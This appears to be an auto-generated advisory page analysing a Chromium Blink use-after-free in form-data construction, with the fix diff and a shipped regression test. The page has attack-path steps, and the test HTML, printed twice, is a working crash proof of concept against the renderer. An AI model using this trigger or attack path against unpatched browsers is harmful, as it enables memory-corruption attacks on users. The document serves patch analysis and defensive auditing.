High chrome UAF 🔧 Commit mapped

Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactImproper access control in Forms
DescriptionImproper access control in Forms
ComponentForms
Bug ClassUAF
Tracker569286605
Fix commit32c2e2f4faf5 (chromium/src) +49/-2
CISA KEVNot listed
CreditedXinyang Ge
Disclosed2026-10-27

Background

`ListedElements()` / `listed_elements_`
The form’s cached list (ListedElement::List, a GC-aware vector) of associated form controls; it is rebuilt lazily and can be cleared/recomputed when the DOM changes.
`AppendToFormData()`
Per-control hook that adds the control’s value to the FormData. For <textarea> it forces a synchronous style and layout update, which can run script/DOM mutation.

Root Cause Analysis

The advisory labels this “Improper access control in Forms” (LogicError), but the diff shows an iterator-invalidation use-after-free. ConstructEntryList iterated ListedElements() directly: for (ListedElement* control : ListedElements()). Inside the loop it calls AppendToFormData(); for a <textarea> this forces a synchronous style/layout update that can mutate the DOM and, in turn, clear/rebuild listed_elements_. Because the loop was walking the live list, clearing it frees the backing storage out from under the range-based for, so the next iteration reads freed memory — a UAF. The same pattern existed in BuildSearchString, which iterated form.ListedElements() while calling AppendToFormData(). The accompanying WPT is literally named construct-entry-list-disassociate-crash.html and reparents an <input type=image> and a <textarea> form so that building the form data set disassociates controls mid-iteration.

The fix snapshots the list before iterating: ListedElement::List elements(ListedElements()); for (ListedElement* control : elements) in ConstructEntryList, and the identical copy in BuildSearchString. A copied ListedElement::List keeps its own (GC-traced) references, so clearing listed_elements_ during the loop no longer invalidates the walk — matching HTMLFormElement::reset and the HTML spec’s requirement to operate on a copy. Separately, ImageInputType::EnsurePrimaryContent now early-returns when GetElement().GetDocument().InStyleRecalc() is true (mirroring SetUseFallbackContent), preventing a synchronous cached-image completion from rebuilding the UA shadow subtree (RemoveChildren() + CreateShadowSubtree()) during style recalc — the mechanism by which type=image layout attachment re-enters and mutates the DOM that clears listed_elements_.

Key insight
A form-data build loop iterated the form’s live control list while AppendToFormData() (via <textarea> forced layout / <input type=image> shadow rebuild) synchronously mutated and cleared that very list, freeing the backing store mid-iteration.

Attack Path

  1. Craft a reentrant form A page builds a form containing a <textarea> (forces sync layout) and an <input type=image> whose shadow subtree can rebuild on cached-image completion, arranged so layout mutates the DOM.
  2. Disassociate during build Using contenteditable/document.implementation.createHTMLDocument() reparenting (as the WPT does), set up controls that get disassociated from the form when style/layout runs.
  3. Invoke the build Trigger new FormData(form) / form submission, entering ConstructEntryList (or a searchable-form extraction entering BuildSearchString).
  4. Mutate mid-loop AppendToFormData() on the <textarea>/image control forces synchronous style+layout, which clears listed_elements_ and frees its backing store.
  5. UAF read The range-based for advances over the freed list, dereferencing a dangling ListedElement* in the renderer. (Escalation beyond crash is inferred.)

Impact Assessment

The defect is in the renderer process and is reachable from ordinary untrusted web content with no special privilege — building a form data set (new FormData(form) or submission) is script-triggerable. The proven primitive is a heap use-after-free read of a freed ListedElement::List during iteration; the regression test confirms a crash. Converting the stale-pointer read into a controlled read/write or code execution is (inferred) and not shown by the diff. Note the advisory’s “access control” framing is not substantiated — the code shows iterator invalidation / UAF.

Changed Functions

FunctionChangeNotes
for
third_party/blink/renderer/core/exported/web_searchable_form_data.cc
modified
if
third_party/blink/renderer/core/html/forms/html_form_element.cc
modified
for
third_party/blink/renderer/core/html/forms/html_form_element.cc
modified

Files Changed

  • third_party/blink/renderer/core/html/forms/image_input_type.cc
  • third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html
  • third_party/blink/renderer/core/exported/web_searchable_form_data.cc
  • third_party/blink/renderer/core/html/forms/html_form_element.cc

Audit Directions

  • Other `ListedElements()` consumers
    Grep Blink for loops over ListedElements()/listed_elements_ that call into AppendToFormData, style, or layout; each should iterate a copy (as HTMLFormElement::reset does).
  • `AppendToFormData` side effects
    Audit every control’s AppendToFormData/value accessor for synchronous style/layout or script that can mutate the form’s control set.
  • Shadow-tree mutation during style recalc
    Look for other EnsurePrimaryContent-style shadow rebuilds (image/media/UA-shadow code) that lack an InStyleRecalc() guard.
  • Live-collection iteration under forced layout
    Review DOM/forms code that iterates cached node lists while triggering UpdateStyleAndLayout.
From 32c2e2f4faf5f5c2caec109387500407924e52bc Mon Sep 17 00:00:00 2001
From: Mason Freed <masonf@chromium.org>
Date: Thu, 22 Oct 2026 17:22:08 -0700
Subject: [PATCH] Copy ListedElements before iterating in ConstructEntryList

HTMLFormElement::ConstructEntryList and BuildSearchString iterate over
ListedElements() while calling AppendToFormData() on each control. For
<textarea>, AppendToFormData() forces a synchronous style and layout
update, which can mutate the DOM and clear listed_elements_ mid-loop.
Copy ListedElements() before iterating, matching HTMLFormElement::reset
and the HTML specification.

Also guard ImageInputType::EnsurePrimaryContent() with InStyleRecalc(),
matching ImageInputType::SetUseFallbackContent(), so synchronous cached
image completion during layout tree attachment does not mutate the UA
shadow tree during style recalc.

Fixed: 569286605
Change-Id: Ide74cfb742e8df43258883b11caf219e15d02d76
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8613243
Reviewed-by: David Baron <dbaron@chromium.org>
Auto-Submit: Mason Freed <masonf@chromium.org>
Commit-Queue: Mason Freed <masonf@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1725339}
---
diff --git a/third_party/blink/renderer/core/exported/web_searchable_form_data.cc b/third_party/blink/renderer/core/exported/web_searchable_form_data.cc
index b8478b8..a345c565a 100644
--- a/third_party/blink/renderer/core/exported/web_searchable_form_data.cc
+++ b/third_party/blink/renderer/core/exported/web_searchable_form_data.cc
@@ -186,7 +186,8 @@
                        const TextEncoding& encoding,
                        const HTMLInputElement* text_element) {
   bool is_element_found = false;
-  for (ListedElement* item : form.ListedElements()) {
+  ListedElement::List elements(form.ListedElements());
+  for (ListedElement* item : elements) {
     auto* control = DynamicTo<HTMLFormControlElement>(item);
     if (!control)
       continue;
diff --git a/third_party/blink/renderer/core/html/forms/html_form_element.cc b/third_party/blink/renderer/core/html/forms/html_form_element.cc
index 848955de8..12979d7 100644
--- a/third_party/blink/renderer/core/html/forms/html_form_element.cc
+++ b/third_party/blink/renderer/core/html/forms/html_form_element.cc
@@ -1103,6 +1103,7 @@
       target_frame->ScheduleFormSubmission(scheduler, form_submission);
 }
 
+// https://html.spec.whatwg.org/multipage/#constructing-the-form-data-set
 FormData* HTMLFormElement::ConstructEntryList(Element* submitter,
                                               const TextEncoding& encoding) {
   if (is_constructing_entry_list_) {
@@ -1115,7 +1116,10 @@
     submitter->SetActivatedSubmit(true);
   }
 
-  for (ListedElement* control : ListedElements()) {
+  // Copy the element list because |AppendToFormData()| can update DOM
+  // structure.
+  ListedElement::List elements(ListedElements());
+  for (ListedElement* control : elements) {
     DCHECK(control);
     HTMLElement& element = control->ToHTMLElement();
     if (!element.IsDisabledFormControl())
diff --git a/third_party/blink/renderer/core/html/forms/image_input_type.cc b/third_party/blink/renderer/core/html/forms/image_input_type.cc
index 89ba830..13c635a9e9 100644
--- a/third_party/blink/renderer/core/html/forms/image_input_type.cc
+++ b/third_party/blink/renderer/core/html/forms/image_input_type.cc
@@ -251,6 +251,9 @@
   if (!HasCreatedShadowSubtree()) {
     return;
   }
+  if (GetElement().GetDocument().InStyleRecalc()) {
+    return;
+  }
   if (ShadowRoot* root = GetElement().UserAgentShadowRoot())
     root->RemoveChildren();
   CreateShadowSubtree();
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html b/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html
new file mode 100644
index 0000000..39a4167
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html
@@ -0,0 +1,39 @@
+<!DOCTYPE html>
+<meta charset="utf-8">
+<link rel="author" href="mailto:masonf@chromium.org">
+<link rel="help" href="https://crbug.com/569286605">
+
+<style>
+input::-webkit-textfield-decoration-container {
+  content-visibility: hidden;
+  pointer-events: none;
+  height: 20px;
+}
+</style>
+<img id="img" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7">
+<div contenteditable>
+  <input id="inp" type="search" alt="x" style="width: 100px; height: 20px">
+</div>
+<script>
+const img = document.getElementById('img');
+const inp = document.getElementById('inp');
+const rect = inp.getBoundingClientRect();
+const pos = document.caretPositionFromPoint(rect.right - 5, rect.top + 5);
+inp.type = 'image';
+const sr = pos.offsetNode;
+inp.src = '';
+
+window.onload = () => {
+  const doc2 = document.implementation.createHTMLDocument();
+  doc2.body.appendChild(inp);
+  inp.src = img.src;
+  inp.style.content = `url(${img.src})`;
+  document.body.appendChild(inp);
+
+  const form = document.createElement('form');
+  form.innerHTML = '<textarea name="a">x</textarea><input name="b" value="y">';
+  sr.appendChild(form);
+
+  new FormData(form);
+};
+</script>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html b/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html
new file mode 100644
index 0000000..39a4167
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html
@@ -0,0 +1,39 @@
+<!DOCTYPE html>
+<meta charset="utf-8">
+<link rel="author" href="mailto:masonf@chromium.org">
+<link rel="help" href="https://crbug.com/569286605">
+
+<style>
+input::-webkit-textfield-decoration-container {
+  content-visibility: hidden;
+  pointer-events: none;
+  height: 20px;
+}
+</style>
+<img id="img" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7">
+<div contenteditable>
+  <input id="inp" type="search" alt="x" style="width: 100px; height: 20px">
+</div>
+<script>
+const img = document.getElementById('img');
+const inp = document.getElementById('inp');
+const rect = inp.getBoundingClientRect();
+const pos = document.caretPositionFromPoint(rect.right - 5, rect.top + 5);
+inp.type = 'image';
+const sr = pos.offsetNode;
+inp.src = '';
+
+window.onload = () => {
+  const doc2 = document.implementation.createHTMLDocument();
+  doc2.body.appendChild(inp);
+  inp.src = img.src;
+  inp.style.content = `url(${img.src})`;
+  document.body.appendChild(inp);
+
+  const form = document.createElement('form');
+  form.innerHTML = '<textarea name="a">x</textarea><input name="b" value="y">';
+  sr.appendChild(form);
+
+  new FormData(form);
+};
+</script>
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.